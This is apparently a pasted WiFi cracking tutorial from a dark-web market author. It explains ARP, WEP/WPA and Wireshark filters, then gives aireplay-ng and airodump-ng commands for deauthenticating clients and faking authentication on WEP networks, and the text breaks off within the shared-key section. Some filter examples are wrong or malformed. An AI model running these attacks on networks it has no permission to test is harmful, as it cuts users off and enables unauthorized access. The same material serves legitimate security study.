How to CRACK WIFI for beginners to advanced


SUBMITTED BY: eort1254

DATE: Sept. 29, 2020, 11:57 a.m.

FORMAT: Text only

SIZE: 78.1 kB

HITS: 667

  1. EVERYTHING ABOUT WIFI CRACKING, Table of Contents
  2. Executive Summary ………………………………………………………..……. 2
  3. Before the fun part Start ……………………………………………………..…... 3
  4. ARP Protocol …………………………………………………………………….. 4
  5. Discovery of Networks ….……………………………………………………….. 6
  6. Wireless Networks ….……………………………………………...…………….. 7
  7. Software …………….……………………………………………...…………….. 11
  8. Wireshark …..……….……………………………………………...…………….. 13
  9. Wireless Deauthentication Attack ………………………………...…………….... 21
  10. Fake Authentication ……………………………….………...…..……………….. 23
  11. MAC Filtering ……………………………….………...…..………………….….. 27
  12. Cracking WEP with a connected client (OPEN System) ……………….…….….. 29
  13. Cracking WEP without a connected client (OPEN System) ……...…….…….….. 35
  14. Cracking WEP (Shared Key Authentication) ……………….…….…….…….…. 41
  15. Cracking WPA (Dictionary Mode) ……………….…….…….…………….….… 46
  16. Cracking WPA (Database Mode) ……………….…….…….…………….…...…. 50
  17. Hidden ESSID ……………….…….…….…….………………………….…...…. 55
  18. Cracking WPA (Wi-Fi Protected Setup) ……………….………….…..............…. 57
  19. 1
  20. Arciduca - Alphabay
  21. Executive Summary
  22. Over the past months I’ve been learning about Network Security. I’ve started reading
  23. documents like this and so I’m writing this tutorial not to teach anyone how to break
  24. into their neighbor’s network and get free internet or valuable information. No. I’m
  25. writing this because even not being an expert, I hope that this could be useful to those
  26. who don’t know where to begin learning about it.
  27. Backtrack, currently in it fifth version, Backtrack 5, is an operating system based on
  28. Ubuntu GNU/Linux distribution and it is aimed at digital forensics and penetration
  29. testing use. It is named after backtracking, a search algorithm.
  30. Backtrack have tons of tools that could be useful, I’ll be talking about some that already
  31. come with Backtrack and some other that you need to install if you are using an older
  32. version than Backtrack 5 R2. I’ll add to this document how to install those programs.
  33. Through the Document let’s imagine I’m an attacker, attacking Wireless Networks.
  34. In this tutorial I’ll be using one Computer, with Windows 7 and VMware installed with
  35. Backtrack 5 R2, the attacker computer.
  36. I will use two routers through the Tutorials because my old Router (Conceptronic
  37. c54brs4) doesn’t support WPS to use against Reaver so I’ll use a TP-LINK TLWR841ND.
  38. Don’t forget, the attacker pc must be using a Wireless Card that supports “packet
  39. injection” in order to perform some attacks.
  40. 2
  41. Arciduca - Alphabay
  42. My Setup
  43. Router (Conceptronic C54BRS4)
  44. Attacker Antenna (TP-LINK TLWN722N)
  45. Router (TP-LINK TL-WR841ND)
  46. Before the fun part start
  47. Before we start the fun part I would like to write about some network basics. Thus, this
  48. paper will be helpful even you don’t have a really good knowledge of what it is a
  49. network and how it works. Even if you know how a network works, you might find the
  50. texts bellow interesting anyway.
  51. 3
  52. Arciduca - Alphabay
  53. The ARP Protocol
  54. In networks there are a variety of protocols. One of them is the ARP Protocol.
  55. ARP stands for Address Resolution Protocol.
  56. Before we start with the ARP Protocol, let’s just remember what are Physical Addresses
  57. and Logical Addresses.
  58. Physical Addresses – It’s what we know as MAC (Media Access Control) which is
  59. associated to a device. This address is composed by 48 bits (12 hexadecimal characters)
  60. Logical Addresses – They are what we often call as IP Address.
  61. How does the ARP Protocol works?
  62. In a network when a computer wants to find another one it has to know the IP of that
  63. computer but the information inserted in the packets is the MAC Address of the
  64. destination computer.
  65. When you only know the IP you need to ask for the MAC. Using the ARP Protocol, that
  66. resolves IP Addresses into MAC Addresses.
  67. For example
  68. Imagine a computer, let’s just say Computer A, with an IP 192.168.2.105 and it wants
  69. to communicate with a computer with an IP 192.168.2.100, Computer B.
  70. 4
  71. Arciduca - Alphabay
  72. Computer A will check its ARP Table and if it doesn’t possess Computer B’s MAC
  73. Address it will send a message to the Address FF:FF:FF:FF:FF:FF asking the ARP
  74. Address of Computer B. (ARP REQUEST)
  75. Then computer B will answer to Computer A sending him his Physical Address.
  76. Computer A will add an Entry in its ARP Table with that same MAC Address
  77. corresponding to Computers B’s IP. (ARP REPLY)
  78. You can check your ARP Table by typing in a Command Prompt:
  79. #arp -a
  80. It is also possible to translate MAC Addresses into IP Addresses but the Protocol used
  81. in that translation is the RARP Protocol (Reverse Address Resolution Protocol).
  82. These are some of the most important Protocols in networking and some of the easiest
  83. Protocols to understand.
  84. Up ahead in this tutorial we will talk more about ARP Protocol.
  85. 5
  86. Arciduca - Alphabay
  87. Discovery of Wireless Networks
  88. When you want to perform a wireless attack you need to identify the network you are
  89. attempting to access. Sometimes the attacker knows already what network he will
  90. attempt to break, sometimes it doesn’t so it is needed more time to figure it out.
  91. Well, I won’t talk about how to hack a corporation because the point of this tutorial is
  92. not “how to become a criminal or a hacktivist”, I just want to show you how easily
  93. someone can break through your network and get free internet or data and help you to
  94. avoid that. So I will get to the point with a general idea of scanning and not what it
  95. really is all about.
  96. For the next tutorials we will be scanning the airwaves in monitor mode or promiscuous
  97. mode which is a type of scan where you don’t send any beacons or probes, instead of
  98. that, you gather information from traffic that is already going on the air. Figuratively it's
  99. like if your computer just sits down and read the traffic going on the airwaves and
  100. interprets it.
  101. To perform a passive scan a wireless card must be on “monitor mode”.
  102. A card in monitor mode will read every wireless packet it can reach and try to
  103. extrapolate data. As all wireless networks operate on the same frequency, the air is
  104. usually flooded with packets from several different networks. The card picks up these
  105. packets and deduces what network they belong to. This is different than just only trying
  106. beacon or probe packets because there is always much more traffic than just those two
  107. types of packets.
  108. Not all wireless cards support monitor mode. The chipset of the card must support the
  109. mode as well as the driver being used.
  110. In the tutorials I’ll be using airmon-ng which is a program in aircrack-ng suite, to put
  111. the wireless card in monitor mode.
  112. Before we start the hacking process there are some things you should read about if
  113. you’re a beginner. For example what are WEP and WPA encryptions? How do they
  114. work? What is the 802.11n standard?
  115. Let’s find about that.
  116. 6
  117. Arciduca - Alphabay
  118. Wireless Networks
  119. There are two types of encryption in Wireless Networks, we have WEP that stands
  120. for Wireless Equivalency Protocol and we have WPA which stands for Wi-Fi
  121. Protected Access. In spite that WPA is more secure than WEP, both are vulnerable to
  122. different types of attacks as we will see.
  123. WEP (Wireless Equivalency Protocol)
  124. WEP is not the best protection, however it is better than nothing, though generally not
  125. as secure as the more sophisticated WPA/WPA2 encryption. A big problem is that if a
  126. Cracker can sniff packets on a WEP encrypted network, it is only a matter of time until
  127. the password is cracked.
  128. If enough traffic can be intercepted by an attacker, then it can be broken by brute force
  129. in a matter of minutes or even seconds. If that weren’t bad enough, the time it takes to
  130. crack WEP only grows linearly with key length, but a 104-bit key doesn’t provide any
  131. significant protection over a 40-bit key when faced against a determined cracker. There
  132. are several freely available programs that allow for the cracking of WEP that’s why it is
  133. indeed a broken solution, but it should be used over than nothing.
  134. With WEP there are two different forms of authentication, shared key and open system.
  135. In shared key, the client request authentication and the Wireless Access Point sends a
  136. text which the client has to encrypt using the WEP key and send it back, if it matches
  137. then the WAP (Wireless Access Point) authenticates and associates with the client.
  138. In open system authentication any client can associate with the WAP. The client is
  139. authenticated regardless of the key it possesses and begins to receive packets. The client
  140. would need the correct key at this point to read the packets.
  141. A WEP key is usually 128bit comprised of 26 hexadecimal values and a 24bit
  142. Initialization Vector (IV). Each packet is encrypted using RC4 algorithm with the 26
  143. hexadecimal values and a random IV. The packet is sent along with the IV in plain text.
  144. The client then decrypts the packet using the hex key and the included IV.
  145. 7
  146. Arciduca - Alphabay
  147. WPA (Wi-Fi Protected Access)
  148. WPA
  149. Wi-Fi Protected Access (WPA) is a software/firmware improvement over WEP.
  150. All regular WLAN-equipment that worked with WEP are able to be simply upgraded
  151. and no new equipment needs to be bought. WPA is a trimmed-down version of the
  152. 802.11i security standard that was developed by the IEEE 802.11 to replace WEP. The
  153. TKIP (Temporal Key Integrity Protocol) encryption algorithm was developed for
  154. WPA to provide improvements to WEP that could be fielded as firmware upgrades to
  155. existing 802.11 devices. The WPA profile also provides optional support for the AESCCMP algorithm that is the preferred algorithm in 802.11i and WPA2.
  156. WPA Enterprise provides RADIUS based authentication using 802.1x.
  157. WPA Personal uses a pre-shared Shared Key (PSK) to establish the security using an 8
  158. to 63 character passphrase. The PSK may also be entered as a 64 character hexadecimal
  159. string.
  160. Weak PSK passphrases can be broken using a dictionary attacks by capturing the “fourway handshake” when the client connects to the network or reconnects after being
  161. deauthenticated.
  162. WPA Personal is secure when used with ‘good’ passphrases or a full 64-character
  163. hexadecimal key. They should also not use WPS (Wireless Protected Setup) since a
  164. huge vulnerability was discovered and can be already exploited.
  165. TKIP
  166. This stands for Temporal Key Integrity Protocol and the acronym is pronounced as “teekip”. This is part of the IEEE 802.11i standard. TKIP implements per-packet key mixing
  167. with a re-keying system and also provides a message integrity check. These avoid the
  168. problems of WEP.
  169. EAP
  170. The WPA-improvement over the IEEE 802.1X standard already improved the
  171. authentication and authorization for access of wireless and wired LANs. In addition to
  172. this, extra measures such as the Extensible Authentication Protocol (EAP) have initiated
  173. an even greater amount of security. This, as EAP uses a central authentication server.
  174. Unfortunately, during 2002 a Maryland professor discovered some shortcomings.
  175. 8
  176. Arciduca - Alphabay
  177. 802.11i security
  178. The newest and most rigorous security to implement into WLAN's today is the 802.11i
  179. RSN-standard. This full-fledged 802.11i standard (which uses WPA2) does require the
  180. newest hardware (unlike WPA), thus potentially requiring the purchase of new
  181. equipment. This new hardware required may be either AES-WRAP (an early version of
  182. 802.11i) or the newer and better AES-CCMP-equipment.
  183. WPA2
  184. WPA2 is a Wi-Fi Alliance branded version of the final 802.11i standard. The primary
  185. enhancement over WPA is the inclusion of the AES-CCMP algorithm as a mandatory
  186. feature. Both WPA and WPA2 support EAP authentication methods using RADIUS
  187. servers and pre-shared key (PSK).
  188. CCMP
  189. CCMP stands for Counter Mode with Cipher Block Chaining Message Authentication
  190. Code Protocol also known as (CCM mode Protocol) is an encryption protocol designed
  191. for Wireless Networks products that implement the standards of the IEEE 802.11i
  192. amendment to the original IEEE 802.11 standard. CCMP is an enhanced data
  193. cryptographic encapsulation mechanism designed for data confidentiality and based
  194. upon the Counter Mode with CBC-MAC (CCM) of the AES standard. It was created to
  195. address the vulnerabilities presented by TKIP, a protocol in WPA, and WEP, a dated,
  196. insecure protocol.
  197. 802.11b
  198. 802.11b has a maximum raw data rate of 11 Mbit/s and uses the same media access
  199. method defined in the original standard. 802.11b products appeared on the market in
  200. early 2000, since 802.11b is a direct extension of the modulation technique defined in
  201. the original standard. The dramatic increase in throughput of 802.11b (compared to the
  202. original standard) along with simultaneous substantial price reductions led to the rapid
  203. acceptance of 802.11b as the definitive wireless LAN technology.
  204. 802.11b devices suffer interference from other products operating in the 2.4 GHz band.
  205. Devices operating in the 2.4 GHz range include: microwave ovens, Bluetooth devices,
  206. baby monitors and cordless telephones.
  207. 9
  208. Arciduca - Alphabay
  209. 802.11g
  210. In June 2003, a third modulation standard was ratified: 802.11g. This works in the 2.4
  211. GHz band (like 802.11b), but uses the same OFDM based transmission scheme as
  212. 802.11a. It operates at a maximum physical layer bit rate of 54 Mbit/s exclusive of
  213. forward error correction codes, or about 22 Mbit/s average throughputs. 802.11g
  214. hardware is fully backwards compatible with 802.11b hardware and therefore is
  215. encumbered with legacy issues that reduce throughput when compared to 802.11a by
  216. 21%.
  217. The then-proposed 802.11g standard was rapidly adopted by consumers starting in
  218. January 2003, well before ratification, due to the desire for higher data rates as well as
  219. to reductions in manufacturing costs. By summer 2003, most dual-band 802.11a/b
  220. products became dual-band/tri-mode, supporting a and b/g in a single mobile adapter
  221. card or access point. Details of making b and g work well together occupied much of
  222. the lingering technical process; in an 802.11g network, however, activity of an 802.11b
  223. participant will reduce the data rate of the overall 802.11g network.
  224. Like 802.11b, 802.11g devices suffer interference from other products operating in the
  225. 2.4 GHz band, for example wireless keyboards.
  226. 802.11n
  227. 802.11n is an amendment which improves upon the previous 802.11 standards by
  228. adding multiple-input multiple-output antennas (MIMO). 802.11n operates on both the
  229. 2.4 GHz and the lesser used 5 GHz bands. The IEEE has approved the amendment and
  230. it was published in October 2009. Prior to the final ratification, enterprises were already
  231. migrating to 802.11n networks based on the Wi-Fi Alliance's certification of products
  232. conforming to a 2007 draft of the 802.11n proposal.
  233. 10
  234. Arciduca - Alphabay
  235. Software
  236. During these next tutorials I’ll be using some programs under Backtrack 5, so let’s give
  237. a brief explanation about what are those programs all about and what type of tasks they
  238. can be used for.
  239. Aircrack-ng
  240. Aircrack-ng is a network software suite consisting of a detector, packet
  241. sniffer, WEP and WPA/WPA2-PSK cracker and analysis tool for 802.11 wireless
  242. LANs.
  243. It works with any wireless network interface controller whose driver supports raw
  244. monitoring mode and can sniff 802.11b, 802.11g and 802.11n traffic. The program runs
  245. under Linux and Windows.
  246. Features
  247. The aircrack-ng software suite includes:
  248. aircrack-ng - Cracks WEP and WPA (Dictionary attack) keys.
  249. airdecap-ng - Decrypts WEP or WPA encrypted capture files with known key.
  250. airmon-ng - Placing different cards in monitor mode.
  251. aireplay-ng - Packet injector (Linux, and Windows).
  252. airodump-ng - Packet sniffer: Places air traffic into PCAP or IVS files and shows
  253. information about networks.
  254. airtun-ng - Virtual tunnel interface creator.
  255. airolib-ng - Stores and manages ESSID and password lists; Increases the KPS of WPA
  256. attacks
  257. packetforge-ng - Create encrypted packets for injection.
  258. airbase-ng - Incorporates techniques for attacking client, as opposed to Access Points
  259. airdecloak-ng - removes WEP cloaking from pcap files
  260. airdriver-ng - Tools for managing wireless drivers
  261. tkiptun-ng - WPA/TKIP attack
  262. airserv-ng - allows you to access the wireless card from other computers.
  263. buddy-ng - the helper server for easside-ng, run on a remote computer
  264. easside-ng - a tool for communicating to an access point, without the WEP key
  265. wesside-ng - automatic tool for recovering WEP key
  266. Wireshark
  267. Wireshark is a free and open-source packet analyzer.
  268. 11
  269. Arciduca -
  270. Alphabay
  271. It is used for network troubleshooting, analysis, software and communications
  272. protocol development, and education. Originally named Ethereal, in May 2006 the
  273. project was renamed Wireshark due to trademark issues.
  274. Wireshark is very useful since you can analyze every packet individually and
  275. understand what is going on the airwaves since that Wireshark distinguishes all types of
  276. packets travelling the wireless field.
  277. Wireshark is cross-platform, using the GTK+ widget toolkit to implement its user
  278. interface, and using pcap to capture packets; it runs on various Unix-like operating
  279. systems including Linux, Mac OS X, BSD, and on Microsoft Windows.
  280. Pyrit
  281. Pyrit allows creating massive databases, pre-computing part of the IEEE 802.11
  282. WPA/WPA2-PSK authentication phase in a space-time-tradeoff. Exploiting the
  283. computational power of Many-Core- and other platforms through ATI-Stream, Nvidia
  284. CUDA, OpenCL and VIA Padlock, it is currently by far the most powerful attack
  285. against one of the world’s most used security-protocols.
  286. Pyrit is free software. Everyone can inspect copy or modify it and share derived work
  287. under the GNU General Public License v3+. It compiles and executes on a wide variety
  288. of platforms including FreeBSD, MacOS X and Linux as operation-system and x86-,
  289. alpha-, arm-, hppa-, mips-, powerpc-, s390 and sparc-processors. Pyrit is a very good
  290. tool, although it’s not included in Backtrack 5. In pyrit attack tutorial I will also explain
  291. how to install it.
  292. Reaver
  293. Reaver implements a brute force attack against Wifi Protected Setup (WPS) using PINs in order
  294. to recover WPA/WPA2 passphrases.
  295. Reaver has been designed to be a robust and practical attack against WPS, and has been tested
  296. against a wide variety of access points and WPS implementations.
  297. On average Reaver will recover the target AP's plain text WPA/WPA2 passphrase in 4-10
  298. hours, depending on the AP. In practice, it will generally take half this time to guess the correct
  299. WPS pin and recover the passphrase.
  300. 12
  301. Arciduca - Alphabay
  302. Wireshark
  303. So, as you might read before, Wireshark is a packet analyzer. Let’s learn how to work
  304. with that tool.
  305. Remember that Wireshark can work on every interface you have. For example you can
  306. create a monitor mode interface and use it on Wireshark, that way you will get every
  307. packet in the Wireless airwaves and get a big number of packets.
  308. As you already saw with airodump-ng in Aircrack-ng suite it is very easy to get
  309. thousands of packets in minutes or even seconds, it depends on the traffic of the
  310. network. It would be a trouble to find some data frames in the middle of all the beacon
  311. frames, but Wireshark have the ability to filter by type of packet or by MAC Address.
  312. With this we get comfortable when we are trying to find specifically types of packet and
  313. get to them faster.
  314. First let’s talk about WLAN frames, it will help is with Wireshark and with networking
  315. at all if we understand this.
  316. There are three types of frames: Management Frames, Control Frames and Data Frames.
  317. 1. Management frames: They are responsible for maintaining communication between
  318. the access points and wireless clients. There are ten types of Management Frames:
  319. - Authentication - 802.11 authentication is a process whereby the access point
  320. either accepts or rejects the identity of a wireless card. The Wireless Card
  321. begins the process by sending an authentication frame containing its identity
  322. to the access point. With open system authentication (the default), the
  323. Wireless Card sends only one authentication frame, and the access point
  324. responds with an authentication frame as a response indicating acceptance
  325. (or rejection). With the optional shared key authentication, the Wireless Card
  326. sends an initial authentication frame, and the access point responds with an
  327. authentication frame containing challenge text. The Client must send an
  328. encrypted version of the challenge text (using its WEP key) in an
  329. authentication frame back to the access point. The access point ensures that
  330. the Client has the correct WEP key (which is the basis for authentication) by
  331. seeing whether the challenge text recovered after decryption is the same that
  332. was sent previously. Based on the results of this comparison, the access point
  333. replies to the Client with an authentication frame with the result of
  334. authentication.
  335. - De-Authentication - A station sends a deauthentication frame to another
  336. station if it wishes to terminate secure communications.
  337. - Association Request - 802.11 association enables the access point to
  338. allocate resources for and synchronize with a Wireless Card. The client
  339. begins the association process by sending an association request to an access
  340. point. This frame carries information about the Wireless Card (supported
  341. data rates, etc.) and the SSID of the network it wishes to associate with. After
  342. receiving the association request, the access point considers associating
  343. 13
  344. Arciduca - Alphabay
  345. with the Client, and (if accepted) reserves him some memory space and
  346. establishes an association ID.
  347. - Association Response - An access point sends an association response frame
  348. containing an acceptance or rejection notice to the Wireless Card requesting
  349. association. If the access point accepts the radio Wireless Card, the frame
  350. includes information regarding the association, such as association ID and
  351. supported data rates. If the outcome of the association is positive, the Client
  352. can utilize the access point to communicate with other Clients on the
  353. network and systems on the distribution (i.e., Ethernet) side of the access
  354. point.
  355. - Re-association Request - If a Wireless Card roams away from the currently
  356. associated access point and finds another access point having a stronger
  357. beacon signal, the Wireless Card will send a re-association frame to the new
  358. access point. The new access point then coordinates the forwarding of data
  359. frames that may still be in the buffer of the previous access point waiting for
  360. transmission to the radio NIC. This is when there are several Access Points
  361. broadcasting on the same network, not different Access points on different
  362. networks.
  363. - Re-association Response - An access point sends a re-association response
  364. frame containing an acceptance or rejection notice to the Wireless Card
  365. requesting re-association. Similar to the association process, the frame
  366. includes information regarding the association, such as association ID and
  367. supported data rates.
  368. - Disassociation - A station sends a disassociation frame to another station if it
  369. wishes to terminate the association. For example, a Wireless Card that is shut
  370. down gracefully can send a disassociation frame to alert the access point that
  371. the Wireless Card is powering off. The access point can then relinquish
  372. memory allocations and remove the Wireless Card from the association table.
  373. - Beacon - The access point periodically sends a beacon frame to announce its
  374. presence and relay information, such as timestamp, SSID, and other
  375. parameters regarding the access point to Wireless Cards that are within
  376. range. Wireless Cards continually scan all 802.11 radio channels and listen to
  377. beacons as the basis for choosing which access point is best to associate
  378. with.
  379. - Probe Request - A station sends a probe request frame when it needs to
  380. obtain information from another station. For example, a Wireless Card would
  381. send a probe request to determine which access points are within range.
  382. - Probe Response - A station will respond with a probe response frame,
  383. containing capability information, supported data rates, etc., when after it
  384. receives a probe request frame.
  385. 14
  386. Arciduca - Alphabay
  387. 2. Control frames: Control frames are responsible for ensuring a proper exchange of
  388. data between the access point and wireless clients. Control frames can have the
  389. following sub-types:
  390. - Request to Send (RTS)
  391. - Clear to Send (CTS)
  392. - Acknowledgement (ACK) – Since 802.11 stations are not able to
  393. transmit and receive at the same time, while a station is transmitting a frame, it
  394. is not able to determine whether the frame was received or whether there was a
  395. collision. Therefore, every time an 802.11 radio that received the frame will
  396. reply with a 14-octet acknowledgement (ACK) frame.
  397. 3. Data frames: Data frames carry the actual data sent on the wireless network. There
  398. are no sub-types for data frames.
  399. Now that it is explained the different types WLAN frames we are able to start with
  400. Wireshark. This previous explanation about frames is important since in Wireshark you
  401. will get hundreds of frames and you will need to filter them whether you need them or
  402. not to simplify the process.
  403. So, let’s start with Wireshark. To start Wireshark, type “wireskark&” in the console.
  404. But before we start sniffing the airwaves let’s create a monitor mode device to sniff
  405. every packet from every network in range. To do that just type:
  406. #airmon-ng start wlan0
  407. Wlan0 depends on your device, it could be wlan0, wlan1… It depends on the number of
  408. Wireless cards you have connected and what you want to use.
  409. To get used to it type:
  410. #airmon-ng
  411. The output will get from the shell will show you how many cards you have and their
  412. Interface names.
  413. After you have your Wireless card in monitor mode you will get a new interface, named
  414. mon0, that new interface is a virtual interface which is nothing more than your wireless
  415. card working on monitor mode.
  416. That’s the interface we will use in Wireshark.
  417. After you get Wireshark started you will get this window:
  418. 15
  419. Arciduca - Alphabay
  420. This is the start window of Wireshark, to get started click in “Interface List” in Capture
  421. below Wireshark’s logo.
  422. You will get the list of available devices that you can use to analyze packets going on
  423. the network. Mon0 will monitor the airwaves on the available channels in your region
  424. and eth1 or eth0 will monitor your wired network.
  425. 16
  426. Arciduca - Alphabay
  427. This is Wireshark getting packets from the air. As you can see we have some ACK
  428. frames, some data frames. You will get hundreds or even thousands of frames while you
  429. are sniffing the packets. Imagine that we need to search for data frames… well it would
  430. be very difficult to find data frames in the middle of all the other frames, because there
  431. are several types of frames and you are looking for only one type, that’s where
  432. Wireshark filter helps a lot.
  433. 17
  434. Arciduca - Alphabay
  435. Wireshark Filters
  436. Filter by Destination, Source and Port
  437. eth.src – With this filter you can filter by the source MAC Address (Ethernet).
  438. Example: eth.src == 00:11:22:33:44:55
  439. eth.dst – With this filter you can filter by destination MAC Address (Ethernet).
  440. Example: eth.dst == 00:11:22:33:44:55
  441. wlan.addr – This filter will filter packets by the source or destination MAC Address
  442. (Wireless Card).
  443. Example: wlan.addr == 00:11:22:33:44:55
  444. wlan.sa – With this filter you can filter by the source MAC Address (Wireless Card).
  445. Example: wlan.sa == 00:11:22:33:44:55
  446. wlan.da – With this filter you can filter by destination MAC Address (Wireless Card).
  447. Example: wlan.da == 00:11:22:33:44:55
  448. wlan.bssid – With this filter you can filter only the frames from an specific Access
  449. Point by using the MAC Address (bssid).
  450. Example: wlan.bssid == 00:11:22:33:44:55
  451. ip.addr – With this filter you can filter by source or destination IPv4 Address.
  452. Example: ip.addr == 192.168.2.1
  453. ip.dst – With this filter you can filter by destination IPv4 Address.
  454. Example: ip.addr == 192.168.2.1
  455. ip.src – With this filter you can filter by source IPv4 Address.
  456. Example: ip.addr == 192.168.2.1
  457. ipv6.addr – With this filter you can filter by source or destination IPv6 Address.
  458. Example: ipv6.addr == 2001::5
  459. ipv6.src – With this filter you can filter by source IPv6 Address.
  460. Example: ipv6.addr == 2001::5
  461. ipv6.dst – With this filter you can filter by destination IPv6 Address.
  462. Example: ipv6.dst == 2001::5
  463. tcp.port – With this filter you can filter packets by source or destination TCP port.
  464. Example: tcp.port == 80
  465. tcp.dstport – With this filter you can filter packets by destination TCP port.
  466. Example: tcp.dstport == 80
  467. 18
  468. Arciduca - Alphabay
  469. tcp.srcport – With this filter you can filter packets by source TCP port.
  470. Example: tcp.srcport == 80
  471. udp.port – With this filter you can filter packets by source or destination UDP port.
  472. Example: udp.port == 80
  473. udp.dstport – With this filter you can filter packets by destination UDP port.
  474. Example: udp.dstport == 80
  475. udp.srcport – With this filter you can filter packets by source UDP port.
  476. Example: udp.srcport == 80
  477. Filter by Types of frames
  478. wlan.fc.type == 0 – With this filter you can filter only the Management frames.
  479. wlan.fc.type == 1 – With this filter you can filter only the Control frames.
  480. wlan.fc.type == 2 – With this filter you can filter only the Data frames.
  481. Filter by Subtypes of frames
  482. (wlan.fc.type == 0) && (wlan.fc.subtype == 1) – With this filter you can filter only the
  483. Authentication frames.
  484. (wlan.fc.type == 0) && (wlan.fc.subtype == 2) – With this filter you can filter only the
  485. De-Authentication frames.
  486. (wlan.fc.type == 0) && (wlan.fc.subtype == 3) – With this filter you can filter only the
  487. Association Request frames.
  488. (wlan.fc.type == 0) && (wlan.fc.subtype == 4) – With this filter you can filter only the
  489. Association Response frames.
  490. (wlan.fc.type == 0) && (wlan.fc.subtype == 5) – With this filter you can filter only the
  491. Re-Association Request frames.
  492. (wlan.fc.type == 0) && (wlan.fc.subtype == 6) – With this filter you can filter only the
  493. Re-Association Response frames.
  494. (wlan.fc.type == 0) && (wlan.fc.subtype == 12) – With this filter you can filter only the
  495. Dis-Association frames.
  496. (wlan.fc.type == 0) && (wlan.fc.subtype == 8) – With this filter you can filter only the
  497. Beacon frames.
  498. (wlan.fc.type == 0) && (wlan.fc.subtype == 9) – With this filter you can filter only the
  499. Probe Request frames.
  500. (wlan.fc.type == 0) && (wlan.fc.subtype == 10) – With this filter you can filter only the
  501. Probe Response frames.
  502. (wlan.fc.type == 1) && (wlan.fc.subtype == 1) – With this filter you can filter only
  503. “Request to Send” frames.
  504. 19
  505. Arciduca - Alphabay
  506. (wlan.fc.type == 1) && (wlan.fc.subtype == 2) – With this filter you can filter only
  507. “Clear to Send” frames.
  508. (wlan.fc.type == 1) && (wlan.fc.subtype == 3) – With this filter you can filter only
  509. Acknowledgement frames.
  510. (wlan.fc.type == 2) – With this filter you can filter only Data frames.
  511. Filter Operators
  512. != - Exclude -With this operator you can exclude a filter option.
  513. Image that you want to get all the Management Frames except Beacon Frames, you can
  514. use (wlan.fc.type == 0) != (wlan.fc.subtype == 8)
  515. && - And- This operator can make a filter with two filter types.
  516. If you want to filter only Authentication and De-Authentication frames, use
  517. (wlan.fc.type == 0) == (wlan.fc.subtype == 1) && (wlan.fc.type == 0) == (wlan.fc.subtype == 2)
  518. || - Or – Does exactly the same then AND but it will show filter 1 OR filter 2.
  519. 20
  520. Arciduca - Alphabay
  521. Wireless Deauthentication Attack
  522. Basically this attack sends disassociation packets to one or more clients which are
  523. currently associated with a particular access point which make them lose connection to
  524. the AP.
  525. There are many reasons to perform a Deauth Attack:
  526. - Capturing WPA/WPA2 handshakes by forcing clients to re-authenticate.
  527. - Generate ARP requests (Windows clients sometimes flush their ARP cache
  528. when disconnected)
  529. - Recovering a hidden ESSID.
  530. Well there is no practical way to avoid those attacks. However it is simple to confirm if
  531. you are being a victim of a Deauthentication Attack. To do that let’s use Wireshark.
  532. Well to get started I will use two computers in this example. One with Backtrack 5 and
  533. the other with Windows 7. The Windows 7 machine is already connected to the
  534. network, TP-LINK. The role that this machine is playing is simple, it will be the victim.
  535. On the other hand I will use a second machine running Backtrack and it will be the
  536. Attacker and the Monitor. I will be performing a Deauthentication attack and at the
  537. same time monitoring the Airwaves for Deauthentication packets with Wireshark.
  538. On your case, if you want to check if your being a victim of a Deauthentication attack
  539. you can use a machine running Wireshark, which runs on Windows and Linux…
  540. So let’s get started, first let’s put our wireless card in Monitor mode.
  541. #airmon-ng start wlan1
  542. Then let’s check the networks we can reach.
  543. #airodump-ng mon0
  544. Then attack your own network.
  545. 21
  546. Arciduca - Alphabay
  547. #aireplay-ng -0 10 -a 00:80:5A:28:B5:AB -c 00:15:AF:A2:8D:98 mon0
  548. This command is sending deauthentication packets to the AP and making the AP to
  549. Deauthenticate the Client.
  550. Open Wireshark and start sniffing the airwaves.
  551. Add the following filter to get only Deauthentication packets:
  552. (wlan.fc.type == 0) && (wlan.fc.subtype == 12)
  553. In Wireshark’s output we get a bunch of Deauthentication packets, and as we can see
  554. the Source Address of those packets is the AP’s Address and you can’t know who is
  555. performing the attack. This type of attack will be crucial in WPA Attacks as we will see
  556. further on this tutorial.
  557. 22
  558. Arciduca - Alphabay
  559. Fake Authentication
  560. Fake Authentication is useful on WEP Attacks and it doesn’t work under WPA
  561. networks.
  562. In WEP Cracking Attacks we will face two types of WEP Networks, one with Open
  563. System Authentication and the other called Shared Key Authentication.
  564. Open system Authentication is simple to perform Fake Authentications and you can
  565. start whenever you want, however in Shared Key Authentication Networks you will
  566. always need a connected client.
  567. If the network doesn’t have a connected client just wait until someone connects to the
  568. network. We need someone from inside the network to show up because we will need a
  569. 140 bit keystream that will allow us to fake an authentication. Without that we cannot
  570. authenticate. Remember that Open System authentication and Shared Key works
  571. different.
  572. Open System Fake Authentication
  573. So, imagine that you already have your target figured it out.
  574. In order for an access point to accept a packet, the source MAC address must already be
  575. associated. If the source MAC address you are injecting is not associated with the
  576. access point it will ignore the packet and sends out a "Deauthentication".
  577. In this state, no new initialization vectors are created because the access point is
  578. ignoring all the injected packets. The lack of association with the access point is the
  579. single biggest reason why packet injection fails. At this point you are just connecting to
  580. the access point and telling it you are here and want to talk to it, however this does not
  581. give you any ability to transfer data.
  582. 23
  583. Arciduca - Alphabay
  584. aireplay-ng -1 10 -a 00:80:5A:28:B5:AB -h 74:EA:3A:90:C7:21 mon0
  585. Where -1 means fake authentication, 10 means re-association timing in seconds, -a is
  586. the access point MAC address, and -h is the MAC address under which you act (either
  587. your own or the spoofed one).
  588. This is what the output should look like:
  589. Shared Key Fake Authentication
  590. First of all, as always, put your wireless card in monitor mode.
  591. #airmon-ng start wlan0
  592. Then let’s search for our network, WLAN will be the target Network.
  593. #airodump-ng --bssid 00:80:5A:28:B5:AB -c 11 -w sharedkey wlan0
  594. Using this we will sniff all the packets from WLAN network and save them in files
  595. called wepska. We will need to perform a deauthentication on an authenticated client in
  596. order to capture the shared key 140 bit keystream.
  597. 24
  598. Arciduca - Alphabay
  599. If you try to fake authenticate as you’ve learned before you will get an error like the
  600. following image shows…
  601. This means that the network you are attacking now uses Shared Key Authentication
  602. system.
  603. So, to fake authenticate in a Shared Key network we need to deauthenticate a client.
  604. Run airodump-ng to sniff the target network:
  605. #airodump-ng --bssid 00:80:5A:28:B5:AB -c 11 -w sharedkey wlan0
  606. With this you are only looking at the target’s network. As you saw before there was a
  607. connected client, its MAC is 00:15:AF:A2:8D:98.
  608. So let’s deauthenticate him:
  609. #aireplay-ng -0 10 -a 00:80:5A:28:B5:AB -h 00:15:AF:A2:8D:98 mon0
  610. 25
  611. Arciduca - Alphabay
